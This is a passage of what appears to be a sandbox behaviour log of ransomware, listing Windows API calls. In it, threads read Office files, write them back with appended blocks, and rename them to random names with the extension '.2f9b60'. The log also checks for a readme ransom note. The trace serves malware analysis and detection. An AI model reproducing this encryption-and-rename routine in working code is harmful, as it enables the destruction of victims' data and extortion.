Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x695930e3 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x471195d1 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x43409d6b [0127.345] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.345] ReadFile (in: hFile=0x994, lpBuffer=0x41c885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x245bfae0, lpOverlapped=0x0 | out: lpBuffer=0x41c885a0*, lpNumberOfBytesRead=0x245bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0127.360] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c850 [0127.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0127.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f550 [0127.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f550) returned 1 [0127.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cefc290 [0127.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f550 [0127.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0127.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f4c0) returned 1 [0127.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0127.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) returned 1 [0127.361] WriteFile (in: hFile=0x994, lpBuffer=0x1cefc290*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x245bfae0, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesWritten=0x245bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0160.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cefc290) returned 1 [0160.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c885a0) returned 1 [0160.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42ac21b0 [0160.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0160.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f300 [0160.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bc0 [0160.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bc0) returned 1 [0160.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a0bc0 [0160.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0cb0 [0160.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0ce0 [0160.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0ce0) returned 1 [0160.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f300) returned 1 [0160.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0160.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42055710 [0160.530] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.530] WriteFile (in: hFile=0x994, lpBuffer=0x42055710*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x245bfb90, lpOverlapped=0x0 | out: lpBuffer=0x42055710*, lpNumberOfBytesWritten=0x245bfb90*=0x100, lpOverlapped=0x0) returned 1 [0165.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0165.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0165.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0165.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0165.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0165.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0165.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1ced7710 [0165.259] sprintf (in: _Dest=0x1ced7710, _Format="%c%c" | out: _Dest="fe") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7712, _Format="%c%c" | out: _Dest="42") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7714, _Format="%c%c" | out: _Dest="11") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7716, _Format="%c%c" | out: _Dest="bc") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7718, _Format="%c%c" | out: _Dest="d6") returned 2 [0165.259] sprintf (in: _Dest=0x1ced771a, _Format="%c%c" | out: _Dest="68") returned 2 [0165.259] sprintf (in: _Dest=0x1ced771c, _Format="%c%c" | out: _Dest="58") returned 2 [0165.259] sprintf (in: _Dest=0x1ced771e, _Format="%c%c" | out: _Dest="35") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7720, _Format="%c%c" | out: _Dest="34") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7722, _Format="%c%c" | out: _Dest="b3") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7724, _Format="%c%c" | out: _Dest="f3") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7726, _Format="%c%c" | out: _Dest="e3") returned 2 [0165.259] sprintf (in: _Dest=0x1ced7728, _Format="%c%c" | out: _Dest="c1") returned 2 [0165.259] sprintf (in: _Dest=0x1ced772a, _Format="%c%c" | out: _Dest="cb") returned 2 [0165.259] RtlInitAnsiString (in: DestinationString=0x245bfc08, SourceString="fe4211bcd668583534b3f3e3c1cb" | out: DestinationString="fe4211bcd668583534b3f3e3c1cb") [0165.259] RtlAnsiStringToUnicodeString (in: DestinationString=0x245bfbd8, SourceString="fe4211bcd668583534b3f3e3c1cb", AllocateDestinationString=1 | out: DestinationString="fe4211bcd668583534b3f3e3c1cb") returned 0x0 [0165.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059970 [0165.260] RtlFreeAnsiString (AnsiString="f") [0165.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0165.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0165.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055710) returned 1 [0165.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bc0) returned 1 [0165.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0cb0) returned 1 [0165.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac21b0) returned 1 [0165.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f550) returned 1 [0165.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2b0) returned 1 [0165.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df90) returned 1 [0165.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f400) returned 1 [0165.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30770 [0165.263] wcscat (in: _Dest=0x42c30770, _Source="fe4211b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\fe4211b") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\fe4211b" [0165.263] wcscat (in: _Dest=0x42c30770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\fe4211b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\fe4211b.2f9b60" [0165.263] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\fe4211b.2f9b60", NtPathName=0x245bfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\fe4211b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36690 [0166.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36690) returned 1 [0166.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a340) returned 1 [0166.215] NtQueryInformationFile (in: FileHandle=0x994, IoStatusBlock=0x245bfc18, FileInformation=0x245bfc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x245bfc18, FileInformation=0x245bfc28) returned 0x0 [0166.215] NtSetInformationFile (FileHandle=0x994, IoStatusBlock=0x245bfc18, FileInformation=0x245bfc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0204.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30770) returned 1 [0204.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0204.261] FlushFileBuffers (hFile=0x994) returned 1 [0205.722] CloseHandle (hObject=0x994) returned 1 [0215.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318a9a0 [0215.814] wcscpy (in: _Dest=0x4318a9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0215.814] wcscat (in: _Dest=0x4318a9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0215.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0215.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a9a0) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a140) returned 1 Thread: id = 1665 os_tid = 0x1b98 [0126.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d2cadce0edab.2f9b60")) returned 0x20 [0126.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60", dwFileAttributes=0x20) returned 1 [0129.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d2cadce0edab.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe4 [0129.878] GetFileSizeEx (in: hFile=0xfe4, lpFileSize=0x254bfb80 | out: lpFileSize=0x254bfb80*=1862) returned 1 [0129.878] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x742, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.878] ReadFile (in: hFile=0xfe4, lpBuffer=0x254bfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x254bfb48, lpOverlapped=0x0 | out: lpBuffer=0x254bfb00*, lpNumberOfBytesRead=0x254bfb48*=0x4, lpOverlapped=0x0) returned 1 [0129.878] FlushFileBuffers (hFile=0xfe4) returned 1 [0129.880] CloseHandle (hObject=0xfe4) returned 1 [0129.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60", dwFileAttributes=0x20) returned 1 [0129.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cab0) returned 1 Thread: id = 1666 os_tid = 0x1b94 [0126.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d0bb1f55c3e3.2f9b60")) returned 0x20 [0126.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60", dwFileAttributes=0x20) returned 1 [0126.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d0bb1f55c3e3.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff0 [0126.567] GetFileSizeEx (in: hFile=0xff0, lpFileSize=0x2553fac0 | out: lpFileSize=0x2553fac0*=2374) returned 1 [0126.567] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x942, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.567] ReadFile (in: hFile=0xff0, lpBuffer=0x2553fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2553fa88, lpOverlapped=0x0 | out: lpBuffer=0x2553fa40*, lpNumberOfBytesRead=0x2553fa88*=0x4, lpOverlapped=0x0) returned 1 [0126.567] FlushFileBuffers (hFile=0xff0) returned 1 [0127.973] CloseHandle (hObject=0xff0) returned 1 [0127.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60", dwFileAttributes=0x20) returned 1 [0127.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 Thread: id = 1667 os_tid = 0x1b90 [0126.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0126.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", dwFileAttributes=0x20) returned 1 [0126.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe54 [0126.563] GetFileSizeEx (in: hFile=0xe54, lpFileSize=0x240afcc0 | out: lpFileSize=0x240afcc0*=10326) returned 1 [0126.563] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x2852, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.563] ReadFile (in: hFile=0xe54, lpBuffer=0x240afc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x240afc88, lpOverlapped=0x0 | out: lpBuffer=0x240afc40*, lpNumberOfBytesRead=0x240afc88*=0x4, lpOverlapped=0x0) returned 1 [0126.573] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0126.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0126.573] NtQuerySystemTime (in: CurrentTime=0x240afb80 | out: CurrentTime=0x240afb80*=132462177318430000) returned 0x0 [0126.573] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0xe9ca7aa [0126.573] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x544e0178 [0126.573] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x60e3b1c9 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x6eee334a [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x4746e003 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x37c5421b [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x20940d50 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x687573e3 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x27bdd9bf [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0xd64bedc [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x62f825bd [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0xe9ca7aa [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x58e91205 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x6267d49e [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0xd248fc7 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x2d0e6a23 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x71507d0a [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x650aa1b8 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x678f3edc [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x290385e0 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x574f1b91 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x22f729c1 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x310c30e3 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x1dc095fe [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x6a5a4563 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x54d36857 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x69aee263 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x8aa5c3f [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x41568a53 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x8e534e4 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x6b5593e4 [0126.574] RtlRandomEx (in: Seed=0x240afb70 | out: Seed=0x240afb70) returned 0x3ff32466 [0126.583] ReadFile (in: hFile=0xe54, lpBuffer=0x41d26910, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x240afb70, lpOverlapped=0x0 | out: lpBuffer=0x41d26910*, lpNumberOfBytesRead=0x240afb70*=0x2856, lpOverlapped=0x0) returned 1 [0126.585] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.585] WriteFile (in: hFile=0xe54, lpBuffer=0x41c6e130*, nNumberOfBytesToWrite=0x2856, lpNumberOfBytesWritten=0x240afb74, lpOverlapped=0x0 | out: lpBuffer=0x41c6e130*, lpNumberOfBytesWritten=0x240afb74*=0x2856, lpOverlapped=0x0) returned 1 [0126.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0126.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0126.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f520) returned 1 [0126.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6e130) returned 1 [0126.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d26910) returned 1 [0126.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867840) returned 1 [0126.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0126.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85f520 [0126.658] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.658] WriteFile (in: hFile=0xe54, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x240afc90, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x240afc90*=0x108, lpOverlapped=0x0) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0126.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867840 [0126.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0126.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604b0) returned 1 [0126.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0126.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0126.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b40 [0126.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b40) returned 1 [0126.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867840) returned 1 [0126.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0126.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0570 [0126.660] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="d4") returned 2 [0126.660] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="c0") returned 2 [0126.660] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="85") returned 2 [0126.660] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="4a") returned 2 [0126.660] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="32") returned 2 [0126.660] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="60") returned 2 [0126.661] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="09") returned 2 [0126.661] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="48") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="5c") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="c4") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="21") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="03") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="f8") returned 2 [0126.661] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="cc") returned 2 [0126.661] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="f2") returned 2 [0126.661] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="36") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="c3") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="d2") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="be") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="a6") returned 2 [0126.661] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="ba") returned 2 [0126.661] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="62") returned 2 [0126.661] RtlInitAnsiString (in: DestinationString=0x240afd08, SourceString="d4c0854a326009485cc42103f8ccf236c3d2bea6ba62" | out: DestinationString="d4c0854a326009485cc42103f8ccf236c3d2bea6ba62") [0126.661] RtlAnsiStringToUnicodeString (in: DestinationString=0x240afcd8, SourceString="d4c0854a326009485cc42103f8ccf236c3d2bea6ba62", AllocateDestinationString=1 | out: DestinationString="d4c0854a326009485cc42103f8ccf236c3d2bea6ba62") returned 0x0 [0126.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e480 [0126.662] wcscat (in: _Dest=0x2027a290, _Source="d4c0854a326" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4c0854a326") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4c0854a326" [0126.662] wcscat (in: _Dest=0x2027a290, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4c0854a326.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4c0854a326.2f9b60" [0126.662] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4c0854a326.2f9b60", NtPathName=0x240afcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4c0854a326.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107300 [0126.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0126.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0126.664] NtQueryInformationFile (in: FileHandle=0xe54, IoStatusBlock=0x240afd18, FileInformation=0x240afd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x240afd18, FileInformation=0x240afd28) returned 0x0 [0126.664] NtSetInformationFile (FileHandle=0xe54, IoStatusBlock=0x240afd18, FileInformation=0x240afd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a290) returned 1 [0126.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e480) returned 1 [0126.665] FlushFileBuffers (hFile=0xe54) returned 1 [0127.975] CloseHandle (hObject=0xe54) returned 1 [0127.976] RtlAllocateHeap 